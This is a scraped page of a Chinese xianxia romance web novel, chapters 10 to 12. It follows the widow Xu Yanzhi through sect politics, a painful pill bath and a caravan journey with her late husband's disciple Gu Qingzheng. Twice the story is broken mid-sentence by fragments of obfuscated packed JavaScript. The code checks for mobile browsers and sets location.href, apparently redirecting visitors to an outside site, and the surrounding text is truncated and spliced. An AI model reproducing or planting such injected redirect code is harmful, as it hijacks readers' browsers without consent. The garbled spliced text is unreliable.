即便天机峰不如太阴峰高耸,也是一座料峭苦寒的山峰。 徐宴芝全副武装地将自己裹在厚皮毛中,口中含着御寒的丹药,甫一踏出结界,便被漫天风雪吹地摇摇欲坠。 她皱着眉,顶着风艰难地去往后山灵田。 后山风雪更大,雪花漫天飞舞下,几乎教人看不清前路,徐宴芝眯着眼感受着灵力波动,走了小一炷香的时间,才远远见到一处隔绝了大雪的小天地,有一位红衣女子在其中弯腰忙碌着什么。 “周长老。” 徐宴芝怀抱着暖玉炉,运转起灵力,扬声对那女子道。 正在观察灵植的周云子耳朵一动,几乎疑心自己听错了,转头看来,大惊道:“徐夫人为了逮我竟然亲自到这儿来了!” 徐宴芝苦笑道:“我就知道,你一定让小弟子将我引去坐着,自己躲来这里,让我苦苦等上一日也不出现。” 周云子闻言心虚地摸了摸鼻子,索性假装没听到,又低头去看她那些在风中摇曳的翠绿小草。 奈何徐宴芝并不管她的暗示,仍然顶着风往灵田走来,甚至做出要踩进田中的架势来。 这下周云子装不下去了,直起腰来大喝一声:“你停在那儿不许动!” 徐宴芝一只脚停在空中,冲她挑了挑眉。 周云子唉声叹气地放下手中的家伙什,不情不愿地朝着徐宴芝走来。 她一边走,一边抱怨道:“揽云大泽要的越来越多,北域一时半会儿哪来的这么多雪林草,七峰上都是才种下不久的灵植,你让我拔哪株我都舍不得,就死了这条心吧。” 徐宴芝当做没听到,哄劝道:“你也知晓,上回双月当空后,七峰上的大阵都受了影响,一时好一时坏,北域需要不梦鳞来修复结界,这是没有办法的事。” 道理都懂,周云子不过逃避罢了。 她不管不顾地逃了几日,现下被徐宴芝追到了灵田中,晓得这事实在避无可避,只能硬着头皮去做。 周云子仰头叹道:“我说这山中事,你也就管到下次开山门,何须如此尽心尽力,李能意他们看你老不顺眼了。” 徐宴芝见她语气松动,笑道:“我就知道你早想通了,只是要人推你一把。” 她不接话,周云子也不管,接着说道:“你虽然修为低了点,但种种灵植到也够了,顾青峥当掌门后,你如果不愿去揽云大泽,不如来天机峰帮我?” 徐宴芝脚步一顿,忽略掉周云子说自己修为低那段话,反问道:“我为何要去揽云大泽?顾青峥为何就是下任掌门了?” 周云子一愣,犹豫道:“外头传遍了,说岳竺有意求娶你,顾青峥……咱们山上还有比顾青峥更厉害的小一辈?” “原来如此,还有好些日子呢,以后的事以后再说吧。”徐宴芝没直接回答,而是冲她笑了笑,“你先随我去找吕长老,对一对那边的需求。” 周云子听了,又叹了许久的气,不过好歹捏着鼻子与徐宴芝一块儿乘着灵舟去了吕敏之那儿,三人商讨了许久,直到天黑方才定了下来。 既然定了下来,周云子连忙起身回天机峰去守着她的小草,徐宴芝跟着也与吕敏之告辞,却不防被叫住了。 “上回你问我要的东西,我从西边又找到了一枚。” 吕敏之拉着徐宴芝来到厅后,避着人从锦囊中掏出了一丸裹在兽皮中的灵药,悄悄塞在了徐宴芝手中。 她平日里负责整个北域的生意往来,耳听六路眼观八方,替徐宴芝寻几枚丸药这样的事并不算难。 只是将丸药放在徐宴芝手中后,吕敏之并未放手,而是看着她的眼睛叮嘱道:“我多一句嘴,这东西到底来自幽冥,用多了有害,顾青峥以后做了掌门断不会亏待你,你要想离开北域也能过得好,就别折腾你那修为了,再说你不也有其他擅长的东西吗。” 徐宴芝闻言粲然一笑,合拢手指将丸药握在手中,她嗔道:“多谢吕长老关心,我自有分寸。” 在此界传闻中,无尽之崖下是无尽的黑暗,能存在于黑暗中的只有浊气与业鬼,无论是仙人抑或凡人,都无法在浊气中生存,而业鬼追逐血肉,并无神智,不算活物。 但也有仙人认为,无尽之崖下生活着与业鬼不同的、真正的活物,徐宴芝手中这枚灵力与浊气相互作用、全然不是仙人手笔的丸药,便是证据。 这些仙人将崖下称之为幽冥,而这些不知从哪儿冒出来的幽冥产物浊气过重,能强行提升修为,也会损伤根本。 若是如顾青峥这样的弟子用来,自然是揠苗助长,不啻自毁根本,但用在徐宴芝这样无甚天赋的仙人身上,似乎又有些作用。 吕敏之思及至此,想对徐宴芝说她前些日子在太阴峰上避而不出,多半也是这枚丸药所致,但话到了嘴边,又觉得彼此交情并未到那种程度,只懒洋洋朝她笑了笑,无所谓地转而又说了几句生意上的事。 今日到了这里,事情才算全部了结了。 两人客客气气地道了别,徐宴芝带着丸药回到了太阴峰上。 回了屋,她手中握着那枚丸药在小院中来回踱步。 思忖许久后,徐宴芝转身去往浴室,咬着牙将浴池中放满了水,把来自幽冥的丸药往池水中一扔。 猩红在水中散开,浊气四溢,白玉池变做了血池。 徐宴芝盯着池水瞧了片刻,下定决心一般褪下衣裳,唇齿颤抖着,再次踏入了池中。 第二次药浴,疼痛依旧。 徐宴芝一直忍到眼冒金星,方才狼狈地手脚并用爬上白玉池。 她无力地趴在暖玉上,用最后一丝力气自嘲地笑了一笑。 七峰山上,仿佛人人都知晓了岳竺求娶徐宴芝,人人都在冷眼看着她做出选择,人人都在等着看她消失在太阴峰上,等候着这她只绵软无力的菟丝花再攀高枝。 徐宴芝举起右手,点点星光在她的手心闪烁着,一圈一圈无形的灵力波动以她为中心扩散开。 但在圣山的照耀下,不会有人想要直面孱弱的、无力的她的锋芒。不会有人拥有过力量,又舍得将力量拱手相让。 徐宴芝握紧了右手,强撑着坐起,她小心地披上衣裳,离开了雾气蒸腾的浴室。 上次多歇了几日,引来七峰上许多人的瞩目,这一回徐宴芝便不打算多休息,过了一日后,天枢峰上遣人来请她去决断弟子们的份例,徐宴芝想了想,点头应了,先燃了浓香,而后强行乘上了灵舟去往德政堂。 却没想到到了德政堂,徐宴芝坐在圈椅上,被迫强行坐直了身子,听李能意佶屈聱牙地掉了一个时辰书袋。 说到底,不过是北域暂时无掌门,李能意打上了掌门份例的主意,想要为弟子们争一争,把掌门份例散下去,给下面人多发一灵石灵物,好叫他们捎带下山,让家人在冰雪季过得好一些。 偏偏他又不愿主动提出来,不想显得在欺负徐宴芝这个寡妇的模样,想让她亲自来开这个口。 徐宴芝觉得好笑,也不知李能意心中将自己看成了什么样的女子,索性闭上嘴,任由他去说。 只是没想到李能意能说这么久。 徐宴芝听到后来有些昏昏欲睡,后背不自觉地往椅子上靠了一靠。 一股钻心的痛让她面上差点露出了破绽。 她抬头看向外头,惊觉天色已经不早,便打断了李能意拐弯抹角地长篇大论,简短道:“这事李长老看着办吧。” 李能意一个引经据典的长句还未说完,不防忽然被打断,怔忪道:“夫人当真?” “自然。”徐宴芝似笑非笑地用食指轻点圈椅,“李长老未免太过小瞧我了。” 李能意自然也听了那传闻,以为徐宴芝最后少不得要从北域拿一点好处再离开,被点破后有些挂不住,勉强着称赞了两句徐宴芝。 两人互相看不惯对方,连寒暄都敷衍,又谈了几句不相干的话后,徐宴芝便告辞回太阴峰。 李能意肩头松懈下来,命徒儿张幼琳送一送,自己连忙躲进了后头书房中。 徐宴芝这一回强撑着出去一趟,回来后便不太好。 她躲回自己的小天地内,将院门关上,坐在她那张窄窄小小的床上,伸手放下床边重重帷幕,再艰难地褪下衣裳,疲惫地趴着歇息。 正要入睡时,忽然听到院外传来敲门声。 “师娘!” 有人唤她。 徐宴芝恹恹抬起头,有些不愿起身,又把头埋进枕头里,只做听不见。 但来者似乎读不懂这无言的拒绝,并没放弃,而是又轻轻敲了敲门。 长叹一口气,徐宴芝穿上家常衣裳起身,一边走一边应道:“你是何时回太阴的?” 她推开小院的门,见外头站着一脸笑意的闵道一,他的圆眼睛小鹿似得天真,手里捧着黑沉沉的匣子,见她了便讨好地举到眼前。 “我前些日子下山去了,得了些好东西,刚刚才回来,想着要第一时间送给师娘。”闵道一说着,将匣子打开,露出里头摆着的几只香,“是西域来的,有舒缓凝神的作用。” 徐宴芝低头看去,见确实是好东西,便含笑接下,夸赞道:“你有心了。” 闵道一得了夸奖,更是高兴,挠头道:“我这些日子时常觉得昏昏沉沉,玉衡峰也瞧不出缘由,只说是上次受的伤还未好,我便下山自去找些良方……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772538|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 站了这样短的时间,徐宴芝背上已经开始发痛,小徒儿说的话她左耳进右耳出,含糊地回应了几句后,她客气地再次谢了闵道一,抬手打算关门谢客。 这时,闵道一却怔在了原地。 徐宴芝抬头看去,只见小徒儿眼睛发直地盯着她,面色惨白,嘴唇哆嗦,瞧着就不太好。 她被唬了一跳,有心想要伸手去扶。 只是还未触碰到闵道一的胳膊,他便捂着脑袋,低头踉踉跄跄地退后了三步。 还是徐宴芝连忙放了手上的匣子,上前拉了他一把,才不教他跌倒在地。 “既然伤得严重,这些日子便好生待在山上,与你师兄说一声,让他替你寻良方,他自来疼你。”徐宴芝眉头紧蹙,仔细盯着闵道一的面孔,叮嘱道。 闵道一垂着头不应,胳膊软软地被徐宴芝拉在手里,好一阵子说不出话来。 徐宴芝见状,正想冲着远处的小弟子招手,示意让他们过来,却不防被闵道一扯住了袖子。 “徒儿好些了,师娘莫要叫人,徒儿怕失了面子……” 闵道一脸还白着,人倒是逞强,哼哼唧唧地晃了晃徐宴芝的袖子,不让她叫小弟子过来。 “你可还能自己回去?”徐宴芝狐疑道。 “自然。”闵道一勉强地笑了笑,朝着徐宴芝拱了拱手,“虽然不如师兄,但徒儿也没有那样没用。” 拒绝了徐宴芝帮忙,嘴里嘟囔着师娘告辞,闵道一摇摇晃晃地往太阴殿侧门走去。 徐宴芝心头有些不安,站在门口看了许久,直到再不见他的踪影,又沉思了片刻,方才心事重重地捡起匣子,关上了门。 门关上,她不过刚转身,身后便又响起了敲门声。 徐宴芝疑心是闵道一身体不适回转来,立即开门道:“你可还好?” 外头站着的却不是闵道一。 “托夫人的福,好得很。” 银月已经升起,门外的顾青峥沐浴着月光,镀了银边似得,连声音也听起来冷清清的。 他似乎与闵道一错过了,见到徐宴芝后,轻声道:“回到太阴后,我便想着要过来给夫人请安,瞧瞧可有用得上我的地方,不过——” 顾青峥不置可否地扬了扬眉,视线从徐宴芝的脸慢慢滑落到她手中的匣子上:“看来夫人近日过得不错。” 顾青峥前些日子并不在山上,徐宴芝没想过他会在这时候出现。她还未从方才的情绪中脱离出来,思绪一时难以圜转,实在无心与他周旋。 徐宴芝脸上浅浅绽放了一个笑,敷衍道:“好徒儿,你倒是关心我。” 这句话说完,她才真正将心思拉了回来,记起了这些日子山上诸位仙人们的反应。 令人不适的情绪慢慢在徐宴芝心头弥漫开。 这个好徒儿的确关心她,不仅关心她的人,还关心她往后的去处,关心七峰上众人看不看得清楚北域的未来究竟谁说了算。 “只是关心得过了些。” 徐宴芝低着头,视线从下往上,慢慢扫过他的身体,最后停在他的眼睛上,意有所指地说道。 顾青峥没有解释,只颔首看她,月光从他背后洒下,长睫遮了他的眼眸,教人看不清那黑洞洞的泥潭里藏着什么念头。 他们在门前沉默了一会儿,顾青峥忽然伸手不轻不重地拂过她的脸,将徐宴芝肩头不知何时掉落的一朵小花摘下。 “夫人,即使在北域,寒来花也能活下去。” 他若有所指地说着,将手摊开。 月光下,徐宴芝看着他手中被碾碎的残花。 她的瞳仁微颤,嘴角不自觉地高高扬起。 徐宴芝极擅长忍耐,可不知为何,她却未曾想过要对顾青峥虚与委蛇。一股令她目眩的、怪异的情绪倏然从她心底升起,让她兴奋、战栗起来。 她下意识地、不自禁地握住了那只再次僭越的手。 “青峥,记得你的身份。”徐宴芝轻声呢喃道。 她微微偏头,让柔软的脸颊轻轻蹭过他的掌心,银月光照进她的眼里,那里闪烁着淬了毒的欲念。 或许是想要他,或许是想要他的性命。 顾青峥一动不动,定定地看着她动作。 徐宴芝仍然能听到他的心跳声,可面前这个人面无表情,让她忽然荒唐地怀疑自己在挑衅一个雕塑。 若是这样,那可没甚意思。 她一时失了兴味,要将本不该握的手放下。 这或许是一个仙法,点石成金。 她没能松开,顾青峥稍稍用了一点力,反过来将她的手拉到面前。 他低头,不轻不重地咬住她的指尖,做了无意义地反抗。 暧昧不明的声音明明轻飘飘的,却偏偏落进了徐宴芝的心里。 “夫人,人的身份,时常在改变,你我都是如此。” 他脸色终于变了变,长在面上的面具裂了一条缝,让月光撒了下去,照出了心底些许不甘的念头。 11. 第十一章 徐宴芝如今,是北域前掌门宇文令的遗孀,是手握掌门令的守门人,是前路迷茫的尴尬之人。 在北域众仙人眼中,她身上曾经被宇文令套上的光环在渐渐暗淡,但这个女人却似乎全然不觉,仍旧自如地在山上活动。 排除千难万险,徐宴芝促成了与揽云大泽的交易,那么按照她的说法,这样重要的事,还是亲自去做的好。 “你当真要一起去?” 开阳峰上,吕敏之又问了徐宴芝一遍,“何必要费这个力气,边境离无尽之崖那样近,那里灵力微薄,实在危险。” 徐宴芝此时正一边清点着雪林草,一边检查匣子上的法阵,在殿中忙得团团转,闻言笑道:“不然换成你去?” 吕敏之连忙摆手:“让下面弟子出去历练历练不行吗,何苦自己亲自上阵。” 徐宴芝索性暂时放下手中活计,站起身来看向吕敏之。 她微微挑眉道:“竟然是为了历练弟子们吗?原来不是因为舍不得后院那位……” 吕敏之有一位道侣,与她感情甚笃,两人自成婚后便形影不离,一天都不曾分开过。这一点被徐宴芝说破后,吕敏之还未回答,她的徒儿已经忍不住笑出了声。 “你功课加一百遍!”吕敏之横眉冷眼地看着她的徒儿,一边骂人,一边巧妙地转移了话题,“但现在你手中拿着掌门令,事关圣山下次开山门,可不能有个好歹,我瞧顾青峥也回来了,德政堂暂时没有给他下什么弟子令,便让他护送你去。” 徐宴芝不置可否,仍旧弯下腰来清点。 自上一回两人之间有些失控的会面后,她便有意地与顾青峥保持着距离—— 她本能的意识到,她亡夫的爱徒,已经成为了她前路上的一块绊脚石,远离他,保持清醒,才是最优解。 似乎顾青峥也有此意,并不再按照以前的惯例——如果他没有下山,日日都会过来向徐宴芝问安——对她,听太阴峰上的小弟子汇报,顾青峥近日忙着照顾闵道一,仍然在山上。 吕敏之又说了几句,不见徐宴芝回答,她不觉皱起了眉,沉声道:“若只有你一人,为了宗门考虑,我想你还是留在山上的好。” 徐宴芝叹了口气,无奈应道:“我去与德政堂商量一番。” 说是商量,但此时徐宴芝是宗门无冕之王,这事又只关系顾青峥,他师父已死,长老们各个都有自己的亲传弟子,谁还会出言助他,自然无人反对。 第二日,顾青峥方才带着闵道一出门,往玉衡峰的方向去,天枢峰来的小弟子便拿着令牌与他们撞了个正着。 “顾师兄,德政堂的弟子令。”小弟子恭敬地向他行了一礼,将令牌奉上。 顾青峥朝小弟子点点头,将令牌接在手中,只见白光一闪,上头浮现出一行字来。 “……护送商队去往新临渊城……”闵道一伸着脖子看了一眼,摸不着头脑地抬头问师兄,“护送商队这种任务怎么也到了师兄手中了?” 作为北域长老以下第一人,以往只有成元期的灵兽肆虐、双月当空出现业鬼潮这样棘手的任务才会交到顾青峥的手中。 闵道一疑惑,顾青峥却面色不改。 既然有新临渊城,自然就有旧城,新旧两座临渊城都离无尽之崖极近,矗立在与揽云大泽的边境线上。 再联想今日宗门中最大的一桩交易,正是由徐宴芝主导,那么这次任务究竟护送的是什么,是一目了然的事情。 顾青峥下意识地握紧了令牌。 他沉思了一会儿,温和地笑了起来。 德政堂来的小弟子还等着复命,顾青峥与他点头道别后,偏头对身旁的师弟道:“你自己去可还行?” “师兄把我当孩子呢。”闵道一瞪圆了眼,不满道。 顾青峥轻笑一声,拍了拍他的肩,转身往自己小院去了。 闵道一站在原地,回头目送师兄,直到他的背影消失不见,方才继续朝外头走去。 在北域,宗门商队出行之前,第一重要的事不是仙人们各自收拾行李与灵器,而是请询天阁辨天机,观天象,测算红月升起的时间。 红月起,业鬼现,百鬼哭,旧人难再见。 远离圣山后,灵力会愈来愈稀薄,仙人的修为也跟着跌落,若是在行程中遇见了双月当空,是一件极麻烦的事。 而距离上一回红月升起已经过去了许久,红月迟迟不再出现,越是这样,他们这一次出行就越危险。 只是临近山门开,灵力波动紊乱,徐宴芝天还没亮便去往天璇峰请询天阁任重阳测算,任重阳算到太阳当空,都不曾测算出准确时间。 这位已经显出老态的仙人掐着指头,捋着一把长须,含糊地对徐宴芝道:“明日也有可能,后日也有可能,明日也可能不,后日也可能不。” 从七峰去往临渊城,来回一共四日。 徐宴芝听了他这句没头没脑的谶言,想了一想,叹息道:“难道要在山上等到红月升起后才下山吗?任长老,可以更准确一些吗?” 任重阳短促地笑了一声,摇头晃脑道:“询天阁只能问天,离开山门越近,老天就愈发古怪,夫人莫要为难我。” 徐宴芝也知道是这个道理。 既然如此,若是一直把出发的日子往后推,也不知会推到什么时候,快去快回倒是更好的选择。 徐宴芝从询天阁回来后,便下令,让商队准备好,立即出发。她则带上了锦囊,坐上了早就套好的飞虎车。 飞虎车刚骨碌碌地走到殿前,又停了下来,许久未见的顾青峥打开了车门,目不斜视地坐在了徐宴芝的身旁。 “走。” 他扬了扬下巴,对驾车的弟子说道。 飞虎车应声而起,以此车为首,后头轰隆隆地跟着十架车,都奔驰起来,一眨眼功夫,便把七峰抛在了身后。 因为这一趟目的地偏远,北域一行人至少也是内门弟子,修为在筑基以上,其中以顾青峥最高,他也成了此次出行的主导者,一众弟子皆以他为主,反倒把徐宴芝架在了一旁。 好在徐宴芝心中有数,她只在车上闭目养神,旁的事情一概不插手,任由顾青峥做决断。 北域没甚好景色看,行了一个时辰,除却路过七峰山下城那短短一段,车窗外白茫茫一片,雪光刺目,看久了教人要流下泪来。 徐宴芝看着窗外发了一会儿呆,索性闭上眼,靠在身后铺得厚厚的皮草中,随着车身轻轻地摇晃着。 下山后他们便走上了一条不甚平坦的路,飞虎以灵石为食,为了节省一路上的消耗,顾青峥让首车破风开路,其余飞虎车成纵队紧跟。 这样一来,便需要不时用传音符与后头的车对话,确保他们没有掉队。 似乎是为了不惊扰徐宴芝,顾青峥的声音放的很轻,三言两语,变做了一只毛茸茸的羽毛,不时轻轻撩过徐宴芝的耳尖。 即便仙人也很难在这样的情况下保持清醒,徐宴芝彻底松懈下来,任由睡意来袭,昏昏沉沉地失去了意识。 不知睡了多久,直到她感到一阵热潮袭来。 徐宴芝睁开眼,茫然看向车窗外,只见窗外一片翠绿中夹杂着些许绚丽,无数奇形怪状的植物从她的眼前飞过,温暖而湿润的气息扑面而来。 她眨了眨眼,她的眼前不再是刺目的白。 他们似乎已经离开了亘古冰封的北域七峰,来到了没有冰雪的春天里。 徐宴芝一时怔忪,几乎忘了自己从何处来,又要去往何地。 “我们还没有离开北域。”顾青峥的声音在她身旁响起,清脆一如既往,“这里地势低洼,比北域其他地方都要温暖,天色不早,今天便在此驻扎,明日一早再启程。” 听闻他们还身处北域,徐宴芝霎那间便低落了下来,她有些魂不守舍的点点头,仍旧不眨眼地看着窗外。 这时她才意识到,天确实像是顾青峥所说的那样,渐渐地暗了下来,而他们乘坐的飞虎车越来越慢,直到来到了一处光秃秃的空地上。 “宗门惯常驻扎在这里,今晚将就一下。” 车停稳,顾青峥下车前对徐宴芝说道。 她嗯了一声,恋恋不舍地将帘子放下,不教外头来来往往地小弟子们看见自己的模样。 顾青峥又看了她一眼,才关上车门离开。 外头响起了他与小弟子们的说话声,顾青峥似乎在安排小弟子们准备临时的住处,声音一时大一时小,徐宴芝侧耳听了一会儿,才意识到他在不住地转身,向各个方向说话。 等到顾青峥吩咐完,外头轰隆隆地响起了灵器嘈杂的启动声,飞虎们也不甘示弱,似乎斗殴起来,几声咆哮几乎冲破了车门,接着又是惊天动地打斗,连车体也开始震动。 喧哗塞满了她的耳朵,徐宴芝只能在飞虎们打斗的间隙里零星听见小弟子们紧张地高呼着,想要阻止这场斗殴。 等到外头终于平息下来,顾青峥在车门外问她:“已经准备好了,可要下车?” 徐宴芝才嗯了一声。 车门打开,她顺着顾青峥伸来的手下了飞虎车,再抬头时,只见外头光秃秃的地上已经大不一样。 几间屋子凭空出现,飞虎也四散被牵到远处,小弟子们赶着车围着屋子停了一圈,货物已经妥善地安置在屋里,法阵结界闪烁着荧光,人却不知去了哪儿,屋子里静悄悄的,只偶尔听得远处的飞虎喷得几声响鼻。 “这一处久未有门人来过,我遣他们查看一番,看看林中有没有灵兽出没的痕迹。” 徐宴芝还未发言,顾青峥便已经将答案说给她听。 离开了安全且熟悉的北域,他此时看上去与在山上时不太相像了。 因为警惕,顾青峥站得很直,他将背脊绷紧,抛却了无用的、闲适懒散的仙人风度,又因为紧绷,他抬着头注视着远处,下颌内里陷落进去,显出一片阴影,恰到好处地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等到月亮升到空中,小弟子们分批开始值夜,徐宴芝也熄了灯,衣着整齐地倚在床上。 这处洼地位处北域,白日温暖,入夜后风骤然变强,还是有些凉意。 大风呜呜地吹过森林,吹得树的枝丫彼此碰撞,白日静谧的茂林,在夜里活过来似得,喧嚣吵闹,让来到陌生之地,以为自己无法入睡的徐宴芝生出了睡意。 很久以前,她每晚就是听着这样的声音入睡的。 徐宴芝与睡意斗争了一会儿,最终败给了身体久违的本能,慢慢陷入了混沌之中。 屋外有风声、树声、灵兽低低的呼吸声。 许久以前,她会怀抱着沉甸甸的活物,蜷缩在背风处,耳中听着这样的声音,从不沉睡,随时准备着起身。 慢慢的,她好似又回到了从前,胸口原本极轻的东西变得沉重,它的呼吸声震耳欲聋,它抬起头,一张脸融化在浓雾里,只有两点绿光闪烁。 它抬手搂住了徐宴芝的脖子,委屈问道:“那时候,为什么……” 为什么…… 久违的失重感袭来,徐宴芝又将被炙热的恶意吞噬,她在噩梦中窒息,可她背脊上的伤好了一些,疼痛不足以将他唤醒。 她将要被拉入永远的黑暗里,她将要被‘它’吃掉了。 徐宴芝挣扎起来。 她陷在梦里,床头的灯被她扫落,叮叮当当的声音,淹没在外头山呼海啸一般的风声里。 但即使再细微的声音,也被人听在耳里。 窗户被从外头推开,一个人影一闪而过,来到了徐宴芝床前,他背着手,面无表情地俯下身,仔细地看着她紧皱的眉头。 看了一会儿,他伸出了一根手指,轻轻点在徐宴芝眉间。 噩梦中,徐宴芝的身体忽然脱离了‘它’的桎梏,她猛地睁开了眼,像获救的溺水者,不分由说地缠绕住将她救起的浮木。 她大口地喘息着,紧紧将自己捆在顾青峥的胸前。 此时她既像一株藤蔓,又像一张拉满的弓,汗水慢慢从她身上浸出,徐宴芝湿漉漉地纠缠住身前人。 顾青峥瞳仁骤然一缩,霎那间,好似天地间都是徐宴芝身上温热的气息,他被这暖香所包裹,下意识地伸手去揽她的背。 他的触碰,让她瑟缩起来,发出压抑的喘息。 更热更湿的鼻息,扑在他的脖颈间隐隐的筋脉上,顾青峥喉头滚动,低头问道:“你受伤了?” 他的声音让徐宴芝如梦初醒。 她放开了一只手,让自己落在床上,把脸埋进凌乱的被褥里。她的长发散落开,占了好大的地方,几乎把她埋在了里头,只露出一节白瓷一样的脖子。 徐宴芝失神地蜷缩起来,口中喃喃道:“仙法反噬后的一点小伤,又噩梦罢了。” 月光从窗外照进来,恰巧落在她的脖颈上,映得她的皮肉莹白如雪,又纤细得可怕,仿佛只要轻轻一握,便能折断它,夺走这个琢磨不透的女人的性命。 顾青峥的视线锁在那一处月光上,黑沉沉的瞳仁轻轻颤动着,过了许久,他才移开了视线,往后退了一步。 “我就在窗外。” 他说着,如来时一般,离开了徐宴芝的床前。 徐宴芝半阖着眼,昏昏沉沉之中,她看到窗外那背影一动不动,从月落到日升。 12. 第十二章 距离新临渊城还有一个白日的路程,飞虎们极速行驶,莫约能在天黑前赶到。 昨夜红月不曾升起,那么今夜出现的可能性就更大了一些,徐宴芝他们要赶在天黑之前入城——新临渊城中有许多仙人坐镇,又有护城大阵,在建造之处,便考虑到了双月当空时的凶险。 驾车的小弟子口中不时呼喝着,飞虎们今晨饱食了灵石,此时双目赤红,嘴边有白色涎水飞向身后,它们速度极快,掀起极大的气流,让后头镶有稳定灵器的车身也左右摇摆起来。 车队离开洼地时外头还是一片绿意,走了不一会儿又上了冰原,行到中午,天气暖了起来,冰原融化,变做一望无际的泥潭沼泽。 徐宴芝直挺挺地坐着,不教背脊挨着座椅,小心地掀起窗帘一角,从缝隙中朝外看去。 越往东走,灵力越稀薄。 自从他们来到了沼泽,徐宴芝便明显地察觉到了灵力浓度、周遭环境的变化——沼泽中不时从泥潭中生出巨大的水泡,砰得一声,带着烂泥一块儿,炸开在空中。 第一次见时,徐宴芝惊得睁大了眼,还以为将要有什么怪物破土而出,见得多了,才发现似乎是虚惊一场。 但顾青峥却不这样认为。 车队甫一进入沼泽,他便抽出了本命长剑,与弟子们一块儿上到了车顶,凝神注视着这些不时出现的水泡。 “是很麻烦的灵兽,成群结队出没,把帘放下,最好不要招惹它们,不要被他们看见。” 他神色冷峻地对徐宴芝说道。 此行他说了算,徐宴芝当然懂得轻重,惴惴应了,只是过了莫约半个时辰,她嗅着四溢的泥土腥味,心头发痒。 其余人都在车上,那样明显也无事,她不过将帘子撩开一条缝,或许也无事? 徐宴芝小心地凑上前,透过那道缝隙看着外头的模样。 沼泽中一湾一湾的水泡反射着金色的阳光,竖着烙在她瞳仁中,像只猫儿模样。 这是她从未见过的世界,徐宴芝不自禁地靠近了窗,下意识地屏住了呼吸。 但—— 飞虎车忽然颠簸了一下,徐宴芝面前的帘子随着车身晃动,唰地敞开来。 她的脸全部出现在窗后。 一个泥潭猛地炸开,漫天烂泥还未落下,浑身发着金光的灵兽迅雷不及掩耳之势朝着徐宴芝面上袭来。 它离得太近了,她已经能看清这只手臂大的小东西那裂开到耳朵的嘴中密密麻麻的尖牙。 下一刹,她甚至闻到了它嘴中的恶臭。 “小心。” 银光一闪,顾青峥手中长剑将那灵兽于半空中击落。 他一手撑着车顶,俯瞰着徐宴芝冷冷说着,再一翻手,长剑又回到了他的手中,仍旧是凛然的模样,不染半点血痕。 “或许我曾交代过,不要出现在他们面前。”行路途中,顾青峥是紧绷且警惕的,他直视着徐宴芝的眼睛,一字一句说着,“您还要看多久?” 自知理亏,徐宴芝并未辩解,点头后将帘子拉好又系紧,想要不在意般往后一靠,半途又记起后背的伤,一时莫名生气起来,两片饱满的唇瓣抿成了一条线,又不知道是在气谁。 气了一会儿,车外又传来了惊呼声,徐宴芝竖起耳朵听,发觉是最后一辆车上的小弟子出了问题,惹得身后整片泥潭里的灵兽都鼓噪起来,争相跳起,想要将他吞下肚。 “莫要着急,把本命法宝祭出来!” 顾青峥的声音远去,接着一阵金石相击的响声传来,又有无数刺耳非人的惨叫声钻入徐宴芝耳中,这下更加不得了,泥潭震动起来,轰隆隆的,车都跟着颤抖。 愤怒的叫喊声连成串,如响雷般炸起,徐宴芝疑心这片一望无际的沼泽上所有的灵物都被吸引了过来。 她坐得更直了些,眉头紧皱,想了一想后,伸手从锦囊中拿出了一柄团扇。 这柄团扇上刺着雍容的花朵,绣线泛着华贵的珠光,洁白的扇柄触之温润,是某种灵兽的牙制成,它看着这样精美,像贵妇人手中的装饰,似乎不应该出现在崇尚朴实的七峰上。 但这是徐宴芝的本命法宝,由宇文令亲手炮制,赠与她时,她的亡夫说,反正你永远也用不上它,那便制成衬托你的饰品,教你拿在手里会更美一些。 他说错了。 徐宴芝将团扇拿在手里,有些滞涩地运转起周身的灵力,那些学过但久未使用过的仙法她仍旧记得,只是不知还能使出几分威力。 一片嘈杂之中,徐宴芝忽然感到车顶传来响动,顾青峥轻叩车顶,沉声对她道:“稍等,莫慌。” 她握住团扇,仰头看着车顶。 车顶由整块乌木制成,生长在七峰上的百年乌木质地紧实,水浸不透,火烧不坏,但徐宴芝分明看到炫目的光,不知从何处透进了车中。 随后是震耳欲聋的爆炸声,绵绵不绝,将外头的一切喧哗的压制,等到爆炸声停下,徐宴芝的耳中仍是尖锐的嗡鸣。 车门被从外头打开,顾青峥从仍在行使的车上翻入车内,对着她说了句什么。 徐宴芝捧着团扇,疑惑地张了张嘴。 她惹来顾青峥的轻笑,他将手中剑收在腰间,俯身凑到徐宴芝的脸侧。 明明在外头许久,他的气息却依旧清新,喷在她的耳畔,湿湿热热的,徐宴芝险些没有听懂他说了什么。 “已经安全了。”他这样说着。 顾青峥再次消失在车里后,徐宴芝才回过神来,想起了他在她耳边呢喃的话语。 等到她的耳鸣彻底消失,外面的沼泽也变得寂静无比,不再有水泡爆炸的声音,不再有灵兽的叫声,弥漫在鼻尖的泥腥味还存在,但需要仔细从血腥味中辨别。 顾青峥直到穿过了这片沼泽才回到徐宴芝的身旁,他爱穿浅色的长袍,经过了刚刚那一段,他的衣角也依然洁净,只是眉宇间到底多了些疲惫。 北域宗门长老以下第一人,徐宴芝到此时才咂摸出了一点味道。 车队又行了一个时辰,顾青峥让驾车的小弟子放慢了速度,他指了一个方向,让众人在一处营地暂且歇一歇。 “经过刚才那一场,师弟们都有损耗。”他对徐宴芝解释道,“暂且歇一歇,防着后头再出错,我算过,即便歇一会儿也能在天黑之前赶到。” 徐宴芝自然点头,看着他下车往外头走去。 顾青峥却在车门前停了一会儿,回身替她将门打开,露出外头的景色来。 “此处是门中惯常歇息的地方,很安全,您若要看景色,此时倒是可以多看看。”因为安全,他也松懈了些,不再紧绷着说话,言语中又冒出了些细微的小刺。 徐宴芝失笑,冲他摆摆手,并不想与他多言。 她坐在车厢里,往外头看去,只见小弟子们安顿好了飞虎,三三两两地向顾青峥聚拢去,他们看着他的眼中都是敬佩。 